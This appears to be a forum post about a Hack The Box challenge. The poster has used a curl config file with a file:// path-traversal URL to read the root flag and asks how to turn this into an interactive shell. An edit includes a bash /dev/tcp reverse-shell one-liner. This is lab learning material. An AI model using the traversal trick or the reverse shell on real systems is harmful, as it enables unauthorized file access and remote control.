So I’m doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that is part of the exercise.

File Content: url = file:///127.0.0.1/../../../root/root.txt

All cool.

What I want to do is further leverage this to somehow spawn a shell by reading /bin/bash. I can read garbled version of /bin/bash in the report file but I cant figure how to execute it in a way that will give me an interactive shell.

What can I do in in order to achieve this?

EDIT:

I can create a reverse shell from my current user using bash and the below command, just cant get it to execute as I’d like from ‘within’ curl.

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1